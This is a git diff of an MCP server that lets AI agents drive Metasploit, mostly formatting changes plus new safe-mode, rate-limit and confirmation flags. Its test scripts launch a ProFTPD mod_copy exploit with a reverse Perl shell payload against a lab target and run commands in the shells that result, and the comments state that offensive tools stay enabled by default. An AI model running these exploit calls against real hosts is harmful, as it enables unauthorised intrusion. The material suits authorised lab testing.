(default: 4444)") @@ -531,9 +511,9 @@ async def main(): parser.add_argument("--scenario", help="Run only specific scenario (partial match)") parser.add_argument("--list-scenarios", action="store_true", help="List available scenarios") parser.add_argument("--verbose", action="store_true", help="Enable debug logging") - + args = parser.parse_args() - + if args.list_scenarios: print("\nAvailable Exploit Scenarios:") print("=" * 60) @@ -546,24 +526,21 @@ async def main(): print(f" Notes: {scenario.notes}") print() return 0 - + if not args.target or not args.lhost: parser.error("--target and --lhost are required (unless using --list-scenarios)") - + if args.verbose: logging.getLogger().setLevel(logging.DEBUG) - + tester = MultiExploitTester( - target_ip=args.target, - lhost=args.lhost, - base_lport=args.lport, - mcp_url=args.mcp_url + target_ip=args.target, lhost=args.lhost, base_lport=args.lport, mcp_url=args.mcp_url ) - + try: await tester.run_all_scenarios(specific_scenario=args.scenario) tester.print_summary() - + # Exit code based on results sessions_established = sum(1 for r in tester.results if r.session_established) if sessions_established > 0: @@ -572,7 +549,7 @@ async def main(): return 0 else: return 1 - + except KeyboardInterrupt: logger.info("\nInterrupted by user") return 130 @@ -583,9 +560,3 @@ async def main(): if __name__ == "__main__": sys.exit(asyncio.run(main())) - - - - - - diff --git a/scripts/probe_session_channel.py b/scripts/probe_session_channel.py index 38347f6..b82ec22 100644 --- a/scripts/probe_session_channel.py +++ b/scripts/probe_session_channel.py @@ -23,7 +23,9 @@ def _parse_args() -> argparse.Namespace: parser.add_argument("--session-id", type=int, required=True, help="Metasploit session ID") parser.add_argument("--command", required=True, help="Command to run") parser.add_argument("--timeout", type=int, default=30, help="Hard timeout seconds") - parser.add_argument("--inactivity-timeout", type=int, default=10, help="Inactivity timeout seconds") + parser.add_argument( + "--inactivity-timeout", type=int, default=10, help="Inactivity timeout seconds" + ) parser.add_argument( "--output-jsonl", default="probe-session-channel.jsonl", @@ -45,7 +47,9 @@ async def _get_session_object(session_id: int) -> Any: ) -async def _strategy_drive_shell(session: Any, session_id: int, command: str, timeout: int, inactivity: int) -> Dict[str, Any]: +async def _strategy_drive_shell( + session: Any, session_id: int, command: str, timeout: int, inactivity: int +) -> Dict[str, Any]: return await mcp_module._drive_shell_command( session=session, command=command, @@ -65,9 +69,15 @@ async def _strategy_run_with_output(session: Any, command: str, timeout: int) -> return {"status": "success", "reason": "run_with_output", "output": output} -async def _strategy_meterpreter_shell_helper(session: Any, command: str, timeout: int) -> Dict[str, Any]: +async def _strategy_meterpreter_shell_helper( + session: Any, command: str, timeout: int +) -> Dict[str, Any]: if not hasattr(session, "run_shell_cmd_with_output"): - return {"status": "unsupported", "reason": "missing_run_shell_cmd_with_output", "output": ""} + return { + "status": "unsupported", + "reason": "missing_run_shell_cmd_with_output", + "output": "", + } output = await asyncio.wait_for( asyncio.to_thread(lambda: session.run_shell_cmd_with_output(command, timeout=timeout)), timeout=timeout, @@ -78,9 +88,17 @@ async def _strategy_meterpreter_shell_helper(session: Any, command: str, timeout async def _run_probe(args: argparse.Namespace) -> List[Dict[str, Any]]: session = await _get_session_object(args.session_id) strategies = [ - ("drive_shell_loop", _strategy_drive_shell(session, args.session_id, args.command, args.timeout, args.inactivity_timeout)), + ( + "drive_shell_loop", + _strategy_drive_shell( + session, args.session_id, args.command, args.timeout, args.inactivity_timeout + ), + ), ("run_with_output", _strategy_run_with_output(session, args.command, args.timeout)), - ("run_shell_cmd_with_output", _strategy_meterpreter_shell_helper(session, args.command, args.timeout)), + ( + "run_shell_cmd_with_output", + _strategy_meterpreter_shell_helper(session, args.command, args.timeout), + ), ] rows: List[Dict[str, Any]] = [] for strategy_name, coro in strategies: diff --git a/scripts/quick_exploit_test.py b/scripts/quick_exploit_test.py index ed8bf06..03de805 100644 --- a/scripts/quick_exploit_test.py +++ b/scripts/quick_exploit_test.py @@ -27,60 +27,48 @@ from langchain_mcp_adapters.client import MultiServerMCPClient # --- Configuration --- -logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s' -) +logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s") logger = logging.getLogger("quick_exploit_test") class QuickExploitTester: """Quick tester for exploit execution modes.""" - + def __init__( - self, - target_ip: str, - lhost: str, - lport: int = 4444, - mcp_url: str = "http://127.0.0.1:8085" + self, target_ip: str, lhost: str, lport: int = 4444, mcp_url: str = "http://127.0.0.1:8085" ): self.target_ip = target_ip self.lhost = lhost self.lport = lport self.mcp_url = mcp_url - + # MCP client setup - tools_config = { - "metasploit": { - "url": mcp_url, - "transport": "streamable_http" - } - } + tools_config = {"metasploit": {"url": mcp_url, "transport": "streamable_http"}} self.client = MultiServerMCPClient(tools_config) self._tools = None - + logger.info(f"Quick Exploit Tester initialized") logger.info(f" Target: {target_ip}") logger.info(f" LHOST: {lhost}") logger.info(f" LPORT: {lport}") logger.info(f" MCP URL: {mcp_url}") - + async def _ensure_tools_loaded(self): if self._tools is None: self._tools = await self.client.get_tools() logger.info(f"Loaded {len(self._tools)} tools") - + async def call_tool(self, tool_name: str, args: Dict[str, Any] = None) -> Any: """Call an MCP tool and return result.""" await self._ensure_tools_loaded() - + tool = next((t for t in self._tools if t.name == tool_name), None) if not tool: raise Exception(f"Tool '{tool_name}' not found") - + logger.debug(f"Calling {tool_name} with: {args}") return await tool.ainvoke(args or {}) - + def parse_result(self, result: Any) -> Dict[str, Any]: """Parse tool result into dictionary.""" if isinstance(result, dict): @@ -91,249 +79,263 @@ def parse_result(self, result: Any) -> Dict[str, Any]: except json.JSONDecodeError: return {"raw": result} return {"raw": str(result)} - + async def cleanup_all(self): """Kill all sessions and handler jobs.""" logger.info("Cleaning up all sessions and handlers...") - + try: # Kill all handler jobs first result = await self.call_tool("kill_all_handler_jobs", {}) parsed = self.parse_result(result) logger.info(f" Handlers killed: {parsed.get('handlers_killed', 0)}") - + # List and terminate all sessions sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + for session_id in sessions.keys(): try: - await self.call_tool("terminate_session", { - "session_id": int(session_id), - "kill_associated_job": True - }) + await self.call_tool( + "terminate_session", + {"session_id": int(session_id), "kill_associated_job": True}, + ) logger.info(f" Terminated session {session_id}") except Exception as e: logger.warning(f" Failed to terminate session {session_id}: {e}") - + # Wait for ports to be released await asyncio.sleep(2) logger.info("Cleanup complete") - + except Exception as e: logger.error(f"Cleanup error: {e}") - + async def test_exploit_rpc_mode(self) -> Dict[str, Any]: """Test ProFTPD exploit in RPC job mode.""" - logger.info("\n" + "="*70) + logger.info("\n" + "=" * 70) logger.info("TEST: ProFTPD ModCopy Exploit - RPC Job Mode") - logger.info("="*70) - + logger.info("=" * 70) + start_time = datetime.now() - + try: # Run the exploit - result = await self.call_tool("run_exploit", { - "module_name": "unix/ftp/proftpd_modcopy_exec", - "options": { - "RHOSTS": self.target_ip, - "RPORT": 80, - "RPORT_FTP": 21, - "SITEPATH": "/var/www/html/", - "TARGETURI": "/", - "TMPPATH": "/tmp" - }, - "payload_name": "cmd/unix/reverse_perl", - "payload_options": { - "LHOST": self.lhost, - "LPORT": self.lport + result = await self.call_tool( + "run_exploit", + { + "module_name": "unix/ftp/proftpd_modcopy_exec", + "options": { + "RHOSTS": self.target_ip, + "RPORT": 80, + "RPORT_FTP": 21, + "SITEPATH": "/var/www/html/", + "TARGETURI": "/", + "TMPPATH": "/tmp", + }, + "payload_name": "cmd/unix/reverse_perl", + "payload_options": {"LHOST": self.lhost, "LPORT": self.lport}, + "run_as_job": True, + "check_vulnerability": False, }, - "run_as_job": True, - "check_vulnerability": False - }) - + ) + parsed = self.parse_result(result) duration = (datetime.now() - start_time).total_seconds() - + logger.info(f"Exploit result: {parsed.get('status', 'unknown')}") logger.info(f"Message: {parsed.get('message', 'N/A')}") logger.info(f"Job ID: {parsed.get('job_id', 'N/A')}") logger.info(f"Duration: {duration:.2f}s") - + # Wait for session to establish await asyncio.sleep(5) - + # Check for sessions sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + if sessions: logger.info(f"✓ SUCCESS: {len(sessions)} session(s) established!") for sid, info in sessions.items(): - logger.info(f" Session {sid}: {info.get('type', 'unknown')} -> {info.get('target_host', 'unknown')}") + logger.info( + f" Session {sid}: {info.get('type', 'unknown')} -> {info.get('target_host', 'unknown')}" + ) return {"status": "success", "sessions": sessions, "duration": duration} else: logger.warning("⚠ WARNING: Exploit executed but no session established") - return {"status": "warning", "message": "No session established", "duration": duration} - + return { + "status": "warning", + "message": "No session established", + "duration": duration, + } + except Exception as e: logger.error(f"✗ FAILED: {e}") return {"status": "error", "error": str(e), "traceback": traceback.format_exc()} - + async def test_exploit_console_mode(self) -> Dict[str, Any]: """Test ProFTPD exploit in console mode.""" - logger.info("\n" + "="*70) + logger.info("\n" + "=" * 70) logger.info("TEST: ProFTPD ModCopy Exploit - Console Mode") - logger.info("="*70) - + logger.info("=" * 70) + start_time = datetime.now() - + try: # Use different port to avoid conflicts console_port = self.lport + 100 - + # Run the exploit - result = await self.call_tool("run_exploit", { - "module_name": "unix/ftp/proftpd_modcopy_exec", - "options": { - "RHOSTS": self.target_ip, - "RPORT": 80, - "RPORT_FTP": 21, - "SITEPATH": "/var/www/html/", - "TARGETURI": "/", - "TMPPATH": "/tmp" + result = await self.call_tool( + "run_exploit", + { + "module_name": "unix/ftp/proftpd_modcopy_exec", + "options": { + "RHOSTS": self.target_ip, + "RPORT": 80, + "RPORT_FTP": 21, + "SITEPATH": "/var/www/html/", + "TARGETURI": "/", + "TMPPATH": "/tmp", + }, + "payload_name": "cmd/unix/reverse_perl", + "payload_options": {"LHOST": self.lhost, "LPORT": console_port}, + "run_as_job": False, # Console mode + "check_vulnerability": False, + "timeout_seconds": 120, }, - "payload_name": "cmd/unix/reverse_perl", - "payload_options": { - "LHOST": self.lhost, - "LPORT": console_port - }, - "run_as_job": False, # Console mode - "check_vulnerability": False, - "timeout_seconds": 120 - }) - + ) + parsed = self.parse_result(result) duration = (datetime.now() - start_time).total_seconds() - + logger.info(f"Exploit result: {parsed.get('status', 'unknown')}") logger.info(f"Message: {parsed.get('message', 'N/A')}") logger.info(f"Duration: {duration:.2f}s") - + # Check console output for session info output = parsed.get("module_output", parsed.get("output", "")) if "session" in output.lower(): logger.info("Console output indicates session activity") - + # Wait and check for sessions await asyncio.sleep(3) - + sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + if sessions: logger.info(f"✓ SUCCESS: {len(sessions)} session(s) established!") for sid, info in sessions.items(): - logger.info(f" Session {sid}: {info.get('type', 'unknown')} -> {info.get('target_host', 'unknown')}") + logger.info( + f" Session {sid}: {info.get('type', 'unknown')} -> {info.get('target_host', 'unknown')}" + ) return {"status": "success", "sessions": sessions, "duration": duration} else: logger.warning("⚠ WARNING: Exploit executed but no session established") - return {"status": "warning", "message": "No session established", "duration": duration, "output": output} - + return { + "status": "warning", + "message": "No session established", + "duration": duration, + "output": output, + } + except Exception as e: logger.error(f"✗ FAILED: {e}") return {"status": "error", "error": str(e), "traceback": traceback.format_exc()} - + async def test_session_interaction(self, session_id: int) -> Dict[str, Any]: """Test session command execution.""" - logger.info("\n" + "="*70) + logger.info("\n" + "=" * 70) logger.info(f"TEST: Session Interaction (Session {session_id})") - logger.info("="*70) - + logger.info("=" * 70) + commands = ["id", "whoami", "pwd", "uname -a"] results = {} - + for cmd in commands: try: logger.info(f"Executing: {cmd}") - result = await self.call_tool("send_session_command", { - "session_id": session_id, - "command": cmd, - "timeout_seconds": 30 - }) - + result = await self.call_tool( + "send_session_command", + {"session_id": session_id, "command": cmd, "timeout_seconds": 30}, + ) + parsed = self.parse_result(result) output = parsed.get("output", parsed.get("raw_output", parsed.get("raw", ""))) - + if output: logger.info(f" Output: {output.strip()[:100]}") results[cmd] = {"status": "success", "output": output} else: logger.info(f" No output received") results[cmd] = {"status": "no_output"} - + except Exception as e: logger.error(f" Error: {e}") results[cmd] = {"status": "error", "error": str(e)} - + return results - + async def run_full_test(self): """Run the full exploit test sequence.""" - logger.info("\n" + "#"*70) + logger.info("\n" + "#" * 70) logger.info("QUICK EXPLOIT TEST - MetasploitMCP") - logger.info("#"*70) - + logger.info("#" * 70) + results = {} - + try: # 1. Initial cleanup await self.cleanup_all() - + # 2. Test RPC job mode results["rpc_mode"] = await self.test_exploit_rpc_mode() - + # 3. Check for sessions and interact sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + if sessions: session_id = int(list(sessions.keys())[0]) results["session_interaction_rpc"] = await self.test_session_interaction(session_id) - + # 4. Cleanup RPC session await self.cleanup_all() await asyncio.sleep(3) - + # 5. Test console mode results["console_mode"] = await self.test_exploit_console_mode() - + # 6. Check for sessions and interact sessions_result = await self.call_tool("list_active_sessions", {}) sessions = self.parse_result(sessions_result).get("sessions", {}) - + if sessions: session_id = int(list(sessions.keys())[0]) - results["session_interaction_console"] = await self.test_session_interaction(session_id) - + results["session_interaction_console"] = await self.test_session_interaction( + session_id + ) + # 7. Final cleanup await self.cleanup_all() - + except Exception as e: logger.error(f"Test sequence error: {e}") results["error"] = str(e) - + # Print summary self.print_summary(results) - + return results - + def print_summary(self, results: Dict[str, Any]): """Print test summary.""" - logger.info("\n" + "#"*70) + logger.info("\n" + "#" * 70) logger.info("TEST SUMMARY") - logger.info("#"*70) - + logger.info("#" * 70) + # RPC mode result rpc_result = results.get("rpc_mode", {}) rpc_status = rpc_result.get("status", "unknown") @@ -343,7 +345,7 @@ def print_summary(self, results: Dict[str, Any]): logger.info(f" Duration: {rpc_result.get('duration', 'N/A')}s") elif rpc_status == "error": logger.info(f" Error: {rpc_result.get('error', 'Unknown')}") - + # Console mode result console_result = results.get("console_mode", {}) console_status = console_result.get("status", "unknown") @@ -353,57 +355,54 @@ def print_summary(self, results: Dict[str, Any]): logger.info(f" Duration: {console_result.get('duration', 'N/A')}s") elif console_status == "error": logger.info(f" Error: {console_result.get('error', 'Unknown')}") - + # Session interaction if "session_interaction_rpc" in results: logger.info(f"\nSession Interaction (RPC):") for cmd, res in results["session_interaction_rpc"].items(): logger.info(f" {cmd}: {res.get('status', 'unknown')}") - + if "session_interaction_console" in results: logger.info(f"\nSession Interaction (Console):") for cmd, res in results["session_interaction_console"].items(): logger.info(f" {cmd}: {res.get('status', 'unknown')}") - - logger.info("\n" + "#"*70) + + logger.info("\n" + "#" * 70) async def main(): parser = argparse.ArgumentParser( description="Quick Exploit Test for MetasploitMCP", - formatter_class=argparse.RawDescriptionHelpFormatter + formatter_class=argparse.RawDescriptionHelpFormatter, ) - + parser.add_argument("--target", required=True, help="Target IP address") parser.add_argument("--lhost", required=True, help="Local IP for reverse connections") parser.add_argument("--lport", type=int, default=4444, help="Local port (default: 4444)") parser.add_argument("--mcp-url", default="http://127.0.0.1:8085", help="MCP server URL") parser.add_argument("--verbose", action="store_true", help="Enable debug logging") - + args = parser.parse_args() - + if args.verbose: logging.getLogger().setLevel(logging.DEBUG) - + tester = QuickExploitTester( - target_ip=args.target, - lhost=args.lhost, - lport=args.lport, - mcp_url=args.mcp_url + target_ip=args.target, lhost=args.lhost, lport=args.lport, mcp_url=args.mcp_url ) - + try: results = await tester.run_full_test() - + # Determine exit code rpc_success = results.get("rpc_mode", {}).get("status") == "success" console_success = results.get("console_mode", {}).get("status") == "success" - + if rpc_success or console_success: return 0 else: return 1 - + except KeyboardInterrupt: logger.info("\nInterrupted by user") return 130 @@ -414,9 +413,3 @@ async def main(): if __name__ == "__main__": sys.exit(asyncio.run(main())) - - - - - - diff --git a/scripts/run_all_tests.py b/scripts/run_all_tests.py index 3319125..b0f3d67 100644 --- a/scripts/run_all_tests.py +++ b/scripts/run_all_tests.py @@ -9,51 +9,52 @@ import sys import os + def run_test_file(test_file): """Run a single test file and return the result.""" print(f"\n{'='*60}") print(f"Running {test_file}") - print('='*60) - - result = subprocess.run([ - sys.executable, '-m', 'pytest', test_file, '-v' - ], capture_output=False) - + print("=" * 60) + + result = subprocess.run([sys.executable, "-m", "pytest", test_file, "-v"], capture_output=False) + return result.returncode == 0 + def main(): """Run all test files individually.""" test_files = [ - 'tests/test_helpers.py', - 'tests/test_options_parsing.py', - 'tests/test_ip_validation.py', - 'tests/test_tools_integration.py' + "tests/test_helpers.py", + "tests/test_options_parsing.py", + "tests/test_ip_validation.py", + "tests/test_tools_integration.py", ] - + results = {} - + for test_file in test_files: if os.path.exists(test_file): results[test_file] = run_test_file(test_file) else: print(f"Warning: {test_file} not found") results[test_file] = False - + # Summary print(f"\n{'='*60}") print("TEST SUMMARY") - print('='*60) - + print("=" * 60) + all_passed = True for test_file, passed in results.items(): status = "✅ PASSED" if passed else "❌ FAILED" print(f"{test_file}: {status}") if not passed: all_passed = False - + print(f"\nOverall result: {'✅ ALL TESTS PASSED' if all_passed else '❌ SOME TESTS FAILED'}") - + return 0 if all_passed else 1 + if __name__ == "__main__": sys.exit(main()) diff --git a/scripts/run_tests.py b/scripts/run_tests.py index 7d29861..9c8492f 100644 --- a/scripts/run_tests.py +++ b/scripts/run_tests.py @@ -10,12 +10,13 @@ import subprocess from pathlib import Path + def run_command(cmd, description=""): """Run a command and handle errors.""" if description: print(f"\n🔄 {description}") print(f"Running: {' '.join(cmd)}") - + try: result = subprocess.run(cmd, check=True, capture_output=True, text=True) print("✅ Success!") @@ -30,6 +31,7 @@ def run_command(cmd, description=""): print("STDERR:", e.stderr) return False + def check_dependencies(): """Check if test dependencies are installed.""" try: @@ -37,12 +39,14 @@ def check_dependencies(): import pytest_asyncio import pytest_mock import pytest_cov + return True except ImportError as e: print(f"❌ Missing test dependency: {e}") print("💡 Install test dependencies with: pip install -r requirements-test.txt") return False + def main(): parser = argparse.ArgumentParser(description="MetasploitMCP Test Runner") parser.add_argument("--all", action="store_true", help="Run all tests") @@ -57,38 +61,39 @@ def main(): parser.add_argument("--network", action="store_true", help="Include network tests") parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") parser.add_argument("--install-deps", action="store_true", help="Install test dependencies") - + args = parser.parse_args() - + # Handle dependency installation if args.install_deps: - return run_command([ - sys.executable, "-m", "pip", "install", "-r", "requirements-test.txt" - ], "Installing test dependencies") - + return run_command( + [sys.executable, "-m", "pip", "install", "-r", "requirements-test.txt"], + "Installing test dependencies", + ) + # Check dependencies if not check_dependencies(): return False - + # Build pytest command cmd = [sys.executable, "-m", "pytest"] - + # Add verbosity if args.verbose: cmd.append("-v") - + # Add coverage options if args.coverage or args.html: cmd.extend(["--cov=MetasploitMCP", "--cov-report=term-missing"]) if args.html: cmd.append("--cov-report=html:htmlcov") - + # Add slow/network test options if args.slow: cmd.append("--run-slow") if args.network: cmd.append("--run-network") - + # Determine which tests to run if args.options: cmd.append("tests/test_options_parsing.py") @@ -112,18 +117,19 @@ def main(): # Default: run all tests cmd.append("tests/") description = "Running all tests (default)" - + # Run the tests success = run_command(cmd, description) - + if success and (args.coverage or args.html): print("\n📊 Coverage report generated") if args.html: html_path = Path("htmlcov/index.html").resolve() print(f"📄 HTML report: file://{html_path}") - + return success + if __name__ == "__main__": success = main() sys.exit(0 if success else 1) diff --git a/scripts/test_mcp_connection.py b/scripts/test_mcp_connection.py index aa1f2ba..31e8342 100755 --- a/scripts/test_mcp_connection.py +++ b/scripts/test_mcp_connection.py @@ -19,16 +19,16 @@ async def test_connection(mcp_url: str): """Test basic MCP server connection. - + Args: mcp_url: Base URL of the MCP server """ print(f"Testing MCP connection to: {mcp_url}") print("=" * 60) - + endpoint = f"{mcp_url.rstrip('/')}/mcp" print(f"Endpoint: {endpoint}\n") - + # Test 1: Server availability print("Test 1: Server Availability") print("-" * 60) @@ -41,28 +41,25 @@ async def test_connection(mcp_url: str): except httpx.ConnectError as e: print(f"✗ Cannot connect to server: {e}") print(f"\nMake sure MetasploitMCP is running:") - print(f" poetry run metasploit-mcp --transport http --host 127.0.0.1 --port {mcp_url.split(':')[-1].split('/')[0]}") + print( + f" poetry run metasploit-mcp --transport http --host 127.0.0.1 --port {mcp_url.split(':')[-1].split('/')[0]}" + ) return False except Exception as e: print(f"✗ Error: {e}") return False - + print() - + # Test 2: MCP tools/list print("Test 2: MCP Protocol - List Tools") print("-" * 60) - - request_data = { - "jsonrpc": "2.0", - "id": 1, - "method": "tools/list", - "params": {} - } - + + request_data = {"jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}} + print(f"Request: {json.dumps(request_data, indent=2)}") print() - + try: async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( @@ -71,27 +68,27 @@ async def test_connection(mcp_url: str): headers={ "Content-Type": "application/json", # FastMCP streamable-http requires accepting both formats - "Accept": "application/json, text/event-stream" - } + "Accept": "application/json, text/event-stream", + }, ) - + print(f"Response Status: {response.status_code}") print(f"Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") print() - + if response.status_code == 200: result = response.json() print(f"✓ MCP Protocol Working!") print(f"Response: {json.dumps(result, indent=2)[:500]}...") - + # Count tools if available if "result" in result and "tools" in result.get("result", {}): tools = result["result"]["tools"] print(f"\n✓ Found {len(tools)} MCP tools") print(f" Tools: {', '.join([t.get('name', 'unknown') for t in tools[:5]])}...") - + return True elif response.status_code == 406: print(f"✗ 406 Not Acceptable Error") @@ -102,44 +99,42 @@ async def test_connection(mcp_url: str): print(f"✗ Unexpected status code: {response.status_code}") print(f" Response: {response.text[:200]}") return False - + except httpx.HTTPError as e: print(f"✗ HTTP Error: {e}") return False except Exception as e: print(f"✗ Error: {e}") import traceback + traceback.print_exc() return False async def test_tool_call(mcp_url: str): """Test calling an actual MCP tool. - + Args: mcp_url: Base URL of the MCP server """ print("\nTest 3: MCP Tool Call - list_exploits") print("-" * 60) - + endpoint = f"{mcp_url.rstrip('/')}/mcp" - + request_data = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "list_exploits", - "arguments": { - "search_term": "proftpd", - "platform_filter": "" - } - } + "arguments": {"search_term": "proftpd", "platform_filter": ""}, + }, } - + print(f"Request: {json.dumps(request_data, indent=2)}") print() - + try: async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( @@ -148,12 +143,12 @@ async def test_tool_call(mcp_url: str): headers={ "Content-Type": "application/json", # FastMCP streamable-http requires accepting both formats - "Accept": "application/json, text/event-stream" - } + "Accept": "application/json, text/event-stream", + }, ) - + print(f"Response Status: {response.status_code}") - + if response.status_code == 200: result = response.json() print(f"✓ Tool call successful!") @@ -163,7 +158,7 @@ async def test_tool_call(mcp_url: str): print(f"✗ Tool call failed: {response.status_code}") print(f"Response: {response.text[:200]}") return False - + except Exception as e: print(f"✗ Error calling tool: {e}") return False @@ -171,39 +166,33 @@ async def test_tool_call(mcp_url: str): async def main(): """Main entry point.""" - parser = argparse.ArgumentParser( - description="Test MCP connection to MetasploitMCP server" - ) + parser = argparse.ArgumentParser(description="Test MCP connection to MetasploitMCP server") parser.add_argument( "--url", default="http://127.0.0.1:8085", - help="MCP server URL (default: http://127.0.0.1:8085)" - ) - parser.add_argument( - "--full", - action="store_true", - help="Run full test including tool calls" + help="MCP server URL (default: http://127.0.0.1:8085)", ) - + parser.add_argument("--full", action="store_true", help="Run full test including tool calls") + args = parser.parse_args() - + print("MetasploitMCP Connection Test") print("=" * 60) print() - + # Basic connection test success = await test_connection(args.url) - + if not success: print("\n" + "=" * 60) print("FAILED - Connection test failed") print("=" * 60) return 1 - + # Optional full test if args.full: await test_tool_call(args.url) - + print("\n" + "=" * 60) print("SUCCESS - All tests passed!") print("=" * 60) @@ -211,10 +200,9 @@ async def main(): print("You can now run the test harness:") print(f" make test-metasploitable3-quick TARGET=10.0.2.15 LHOST=10.0.2.4") print() - + return 0 if __name__ == "__main__": sys.exit(asyncio.run(main())) - diff --git a/server.json b/server.json index 8c8ebc1..e42b76a 100644 --- a/server.json +++ b/server.json @@ -2,7 +2,7 @@ "$schema": "https://static.modelcontextprotocol.io/schemas/2025-07-09/server.schema.json", "name": "io.github.setuidloot/metasploit-mcp", "description": "Metasploit MCP Server - controlled access to Metasploit Framework functionality (exploits, payloads, sessions, listeners) via the Model Context Protocol.", - "version": "3.0.1", + "version": "3.1.0", "repository": { "url": "https://github.com/setuidloot/MetasploitMCP", "source": "github" @@ -12,7 +12,7 @@ "registry_type": "pypi", "registry_base_url": "https://pypi.org", "identifier": "metasploit-mcp", - "version": "3.0.1", + "version": "3.1.0", "transport": { "type": "stdio" }, diff --git a/src/metasploit_mcp/__init__.py b/src/metasploit_mcp/__init__.py index bdc9f43..e8a51a5 100644 --- a/src/metasploit_mcp/__init__.py +++ b/src/metasploit_mcp/__init__.py @@ -7,7 +7,7 @@ from .server import mcp, logger -__version__ = "3.0.0" +__version__ = "3.1.0" __all__ = ["main", "mcp", "logger", "__version__"] @@ -82,8 +82,71 @@ def main(): action="store_true", help="Force finding an available port starting from --port or 8085", ) + parser.add_argument( + "--safe-mode", + action="store_true", + default=None, + help=( + "Harden the server: expose read-only tools only and DISABLE state-changing / " + "offensive tools (exploit & module execution, payload generation, session " + "control, listeners). Dangerous tools are ENABLED by default. Equivalent to " + "MSF_MCP_ALLOW_DANGEROUS=false." + ), + ) + parser.add_argument( + "--allow-dangerous", + action="store_true", + default=None, + help="Explicitly enable dangerous tools (this is already the default; kept for clarity).", + ) + parser.add_argument( + "--rate-limit", + type=int, + default=None, + metavar="N", + help=( + "Max dangerous-tool requests per minute (0 disables the limit). " + "Default 60; can also be set with MSF_MCP_RATE_LIMIT." + ), + ) + parser.add_argument( + "--confirm-dangerous", + action="store_true", + default=None, + help=( + "Ask the client to confirm (via MCP elicitation) before each destructive " + "action. Falls back to the gate if the client can't elicit. Can also be " + "set with MSF_MCP_CONFIRM_DANGEROUS=true." + ), + ) args = parser.parse_args() + # Apply the safety posture (CLI overrides environment). Dangerous actions are + # ENABLED by default; --safe-mode (or MSF_MCP_ALLOW_DANGEROUS=false) disables them. + from .server import configure_safety + + if args.safe_mode: + allow_dangerous = False + elif args.allow_dangerous: + allow_dangerous = True + else: + allow_dangerous = None # keep the default/env value + + configure_safety( + allow_dangerous=allow_dangerous, + rate_limit_per_min=args.rate_limit, + require_confirmation=True if args.confirm_dangerous else None, + ) + from .server import DANGEROUS_ACTIONS_ENABLED + + if DANGEROUS_ACTIONS_ENABLED: + logger.info( + "Dangerous actions enabled (default): offensive tools are available. " + "Run with --safe-mode to expose read-only tools only." + ) + else: + logger.warning("Safe mode: read-only tools only; offensive tools are disabled.") + if args.transport == "stdio": logger.info("Starting MCP server in STDIO transport mode.") try: diff --git a/src/metasploit_mcp/server.py b/src/metasploit_mcp/server.py index 87d574f..e4aae41 100644 --- a/src/metasploit_mcp/server.py +++ b/src/metasploit_mcp/server.py @@ -1,7 +1,9 @@ # -*- coding: utf-8 -*- import asyncio import base64 +import collections import contextlib +import functools import inspect import ipaddress import logging @@ -13,6 +15,7 @@ import psutil import subprocess import sys +import time from datetime import datetime from typing import Any, Dict, List, Optional, Tuple, Union @@ -380,6 +383,145 @@ def _classify_payload_stage(payload_name: str) -> str: RPC_CALL_TIMEOUT = 25 # Default timeout for RPC calls like listing modules MAX_TOOL_TIMEOUT_SECONDS = 120 # Maximum timeout allowed for tool parameters (cap at 120s) +# --------------------------------------------------------------------------- +# Safety controls (optional hardening) — dangerous actions ENABLED by default +# +# This is an offensive-security tool that has always exposed its full toolset, +# so state-changing / offensive tools (exploit execution, payload delivery, +# session control, listener/job control) are ENABLED by default to avoid +# regressing existing users. Operators can harden a deployment by opting into +# "safe mode" (read-only tools only) and/or a rate limit: +# --safe-mode / MSF_MCP_ALLOW_DANGEROUS=false -> disable dangerous tools +# --rate-limit N / MSF_MCP_RATE_LIMIT=N -> cap dangerous requests/min +# --confirm-dangerous / MSF_MCP_CONFIRM_DANGEROUS -> elicit confirmation +# (This deliberately inverts the official Rapid7 server's default-off posture.) +# --------------------------------------------------------------------------- + + +def _env_flag(name: str, default: bool = False) -> bool: + return os.environ.get(name, str(default)).strip().lower() in ("1", "true", "yes", "on") + + +# Read from environment at import; can be overridden by configure_safety() (CLI). +DANGEROUS_ACTIONS_ENABLED = _env_flag("MSF_MCP_ALLOW_DANGEROUS", True) +# When enabled, destructive tools ask the client to confirm via MCP elicitation +# before running (best-effort; falls back to the gate if the client can't elicit). +CONFIRM_DANGEROUS = _env_flag("MSF_MCP_CONFIRM_DANGEROUS", False) +# Rate limiting is OFF by default (0) so it never silently throttles existing +# automation; operators opt in with --rate-limit / MSF_MCP_RATE_LIMIT. +try: + RATE_LIMIT_PER_MIN = int(os.environ.get("MSF_MCP_RATE_LIMIT", "0") or 0) +except ValueError: + RATE_LIMIT_PER_MIN = 0 + +_RATE_WINDOW_SECONDS = 60.0 +_rate_events: "collections.deque[float]" = collections.deque() + + +def configure_safety( + allow_dangerous: Optional[bool] = None, + rate_limit_per_min: Optional[int] = None, + require_confirmation: Optional[bool] = None, +) -> None: + """Set the safety posture (called from the CLI in __init__.py).""" + global DANGEROUS_ACTIONS_ENABLED, RATE_LIMIT_PER_MIN, CONFIRM_DANGEROUS + if allow_dangerous is not None: + DANGEROUS_ACTIONS_ENABLED = allow_dangerous + if rate_limit_per_min is not None: + RATE_LIMIT_PER_MIN = rate_limit_per_min + if require_confirmation is not None: + CONFIRM_DANGEROUS = require_confirmation + + +def _rate_limit_retry_after() -> Optional[float]: + """Return None if a request is allowed, else seconds until a slot frees up. + + Global sliding-window limiter. ``RATE_LIMIT_PER_MIN <= 0`` disables limiting. + (Global rather than truly per-client: stdio has a single client, and the + HTTP transport does not surface a stable per-caller identity here.) + """ + limit = RATE_LIMIT_PER_MIN + if not limit or limit <= 0: + return None + now = time.monotonic() + while _rate_events and now - _rate_events[0] > _RATE_WINDOW_SECONDS: + 